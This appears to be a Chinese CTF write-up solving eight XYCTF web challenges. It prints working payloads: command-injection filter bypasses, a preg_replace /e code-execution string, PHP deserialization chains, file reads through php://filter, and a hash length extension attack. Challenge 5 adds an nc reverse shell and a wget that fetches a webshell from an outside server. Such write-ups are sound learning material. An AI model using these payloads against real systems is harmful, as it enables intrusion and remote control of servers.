XYCTF(web)部分wp

1.ezmake

进入容器后,先查看页面源代码发现有个js代码,细看有个makefile.php

点进去看看猜测目录下有个flag文件,试试,确实有这个么文件

然后下载下来就能看见flag了

感觉这题很抽象

2.ez?make

进入容器后发现和ezmake很像,再次尝试是不是有flag这个文件这次没有

我们就老实一点看看js文件看到makefile.php?cmd=后容易想到与命令执行有关先尝试简单的命令ls、eval()等

发现被过滤了可以尝试利用``性质,执行期间的命令可是ls也被过滤了哎

怎么办呢,去网上找了些博客,发现可以用16进制绕过于是开始构造`echo “6C73” | xxd -r -p`

xxd: 二进制显示和处理文件工具

-r -p将纯十六进制转储的反向输出打印为了ASCII格式

ls16进制编码后为6C73发现没有什么,但是至少成功了,于是我们可以不断对ls ../,ls../../进行16进制编码,直到看到一个flag文件

payload如下:`echo "6C73202E2E2F2E2E2F2E2E2F" | xxd -r -p`

接下来用cat命令读取flag文件即可

3.warm up

看到几个$_GET,就能知道是个传参题

先看第一层if它要求val1和val2都是字符串,且他们不相同,但是其md5值要相同

如果两个不同的密码经过哈希以后,其哈希值都是以0e开头的,那么php就会认为它们相同,都是0因此可以构造?val1=QNKCDZO&val2=240610708

看第二层if它要求上传一个变量md5,其md5值与本身相等其实就是要找一个数字以0e开头,且他的md5值也以0e开头这个特殊的数字还是找了很久才找到,md5=0e215962017

第三层if这里用到一个知识点,php覆写操作。审计代码得知,首先要让变量XY等于变量XYCTF的值,然后XY的值不能是XYCTF_550102591,但其md5值又要与这个相等,XYCTF_550102591并不是前两个if那样的特殊字符串,有点难搞奥,这里我们可以重新为变量XYCTF赋值,让他和XY都等于QNKCDZO,是不是问题就解决了呢,发现了一个LLeeevvveeelll222.php文件

进去看看

代码审计发现,首先要用post方式传输a,这里注意到有个漏洞函数preg_match(),preg_match()只接收字符串,你用数组便能绕过

preg_replace()函数搜索的表达式是正则表达式

/.*/ 是一个正则表达式,它会匹配输入字符串中的任何内容(匹配任何字符,* 表示零次或多次)。e 修饰符告诉 preg_replace() 将替换字符串作为 PHP 代码来执行

在这里我们构造payload:?a=/.*/e&b=system('ls') 这里加不加c都一样执行ls命令后,没有发现什么有用的文件,那就一层一层往上翻ls ../ ls ../../等最终的payload是 ?a=/.*/e&b=system('cat ../../../flag')ok,拿下一道签到题

4.ezmake(最抽象的那个)

先查看源码,有个hint.php

进去发现应该是个白名单

这么点东西要进行命令执行,而且测试发现payload长度<8

也就是最多只能够用7的长度来执行

这里我们需要知道c

Makefile中的自动变量是在规则执行时由make自动定义的变量。这些变量非常有用,因为它们可以自动获取文件名、目录名和更多的信息,使得Makefile编写更加简洁和灵活。下面是一些常用的自动变量:

$@: 表示规则中的目标文件名。如果在模式规则中,它表示的是目标的一个实例。

$<: 表示规则中的第一个依赖文件名。

$?: 表示所有比目标文件还要新的依赖文件列表,用空格分隔。

$^: 表示所有的依赖文件列表,这些依赖文件以空格分隔,不包含重复的依赖文件。

$+: 这个变量和$^很像,但是它包含了所有的依赖文件,并保留了重复的文件。

$*: 在模式规则中,它表示匹配于目标模式中的%部分的字符串。例如,在规则 %.o: %.c 中,如果目标是 foo.o,则 $* 的值就是 foo。

makefile里的$<就是/flag,但是没有直接读取的权限

这里结合一下linux的东西 $()也能够执行命令,<能够将东西输入到命令里,直接读取不行就用这样的方式读取:$(</flag)

将/flag重新定向到一个bash -i里

外部相当于bash -c

其实就相当于bash -c "bash -i /flag"

替换一下/flag就是$<

payload:$(<$<)

ps:我不是很能理解这个玩意

5.牢牢记住,逝者为大

第一层长度限制,第二层和第三层正则匹配

过滤了很多有关命令执行的关键词,注意到代码的最下面有个eval函数,这是一个突破点

这里我们可以先绕过此长度限制

?cmd=%0a$_GET['1'];

//%0a是换行符,其中#是单行注释,利用%0a可以绕过这个注释,后面那个manba out同理,在传参后面加上%23注释掉,避免影响eval的运行

那么初步构造为?cmd=%0a$_GET['1'];%23

接下来就不会辽,经超哥指点,知道这里可以反弹shell

暂时还不知道怎么用windows反弹,失败几次了,先借用铭神服务器

先去他服务器上面开启监听nc -lvvp 5566

payload:?cmd=%0a$_GET['1'];%23&1=nc xxx.xxx.xxx.xxx 5566 -e sh;

网上还有许多师傅有其他解法
*?cmd=%0a`$_GET[1]`;%23&1=wget 124.222.136.33:1337/1.php

在铭神服务器上传个马,然后让他远程下载

* cmd=%0a`$_GET[B]`;%23&B=c\p /[@-z][@-z][@-z]g 1.txt

虽然他过滤了cp,但我们可以利用linux特性\来绕过(小坑:仔细看过滤规则,是过滤|而不是\)

6.give me flag

我反正第一次看到这题挺懵逼的,$time=time();

这玩意会随着时间的变化而变化

不过之后参考了几位师傅wp后很有收获

这道题其实就是哈希长度拓展攻击,特征就是:类似于将各种字符串拼接后再md5加密

这里看到md5($FLAG.$value.$time)===$md5,就能判断是哈希长度拓展攻击无疑了

GitHub上有个项目叫hash-ext-attack,还挺好用的

涉及到时间戳,去找一个网站获取本时间段对应的时间戳

获取时间戳后要知道,这个爆破既然和时间有关系,那么就需要你延迟一点时间进行,因为你还要进行其他操作,建议延后100秒,100秒后脚本运行获取flag

比如我当时的时间戳为1715672466,根据$FLAG.$value.$time,时间戳是扩展字符,明文不知,已知hash题目已给出,这个密钥长度43怎么来的呢?因为web的动态flag格式是:flagname{uuid.uuid4()}

这里flagname是xyctf,uuid.uuid4()的长度是36,加起来就是43了

我感觉这道题有点圣经

写个脚本不停去访问,注意:

url里面md5是获取到的新hash,value是新明文(url编码),记得去掉后面的时间戳

开跑就行

不过这种写哈希拓展长度攻击题目的方式好像只适用于时间戳,一般建议使用专用工具hashpump(kali)

还没下,找个时间下

7.ezserialize

也是写的第一道中等难度的php反序列化,收获蛮大的

第一层的特征很明显

$this->token === $this->password;

既然需要两者恒相等,那么就可以借用php特性,引用赋值

$f=new Flag();
$f->token=&$f->password;
echo serialize($f);

来看第二层

最终目的就是拿到C类里面的flag

首先注意到 $this->name!='' || $this->num!=''

这里拿去和字符串对比了,所以可以触发__toString

其余的比较常见,链子如下:

$a=new E();
$a->name=new D();
$a->name->lao=new B();
$a->name->lao->luo=new A();
$a->name->lao->luo->mack=new C();
echo serialize($a);

来到第三层

这里需要注意的就是echo new $_POST['X']($_POST['Y']);

看到这个要想到原生类SplFileObject,这个原生类可以用来读取文件

学习原生类后,会发现其实也不是很难

$a=new XYCTFNO3();
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new XYCTFNO1();
$a->KickyMu->adwa->crypto0='dev1l';
$a->KickyMu->adwa->T1ng='yuroandCMD258';
echo urlencode(serialize($a));

都要用到读取文件了,伪协议是很有可能的

X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=./flag.php

8.ezRCE

这一道命令执行采用了白名单过滤,只能用给出的字符来构造payload

这里的话涉及到一些盲区

在shell环境中有一种特殊的表示字符的序列

在这种表示法中,\ 后面跟着一个八进制数,表示该字符的 ASCII 值

在bash中有一种特殊字符的引用的方式——$''(称为 ANSI-C quoting)它允许你在字符串中使用 ANSI C 转义序列来表示特殊字符或者 ASCII 控制字符

例如: $'\l54\163' -> 执行ls

bash中的一种特殊的语法Here String,用于将字符串作为命令的标准输入提供给命令

它的语法形式是 <<<,后跟一个字符串,形如:

command<<<"string"

这里的 command 可以是任何接受标准输入的命令,而 string 则是要提供给该命令的字符串

那么我们可以构造payload:

bash<<<'ls /' $'\142\141\163\150'<<<$'\154\163\040\057'

之后就比较简单了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值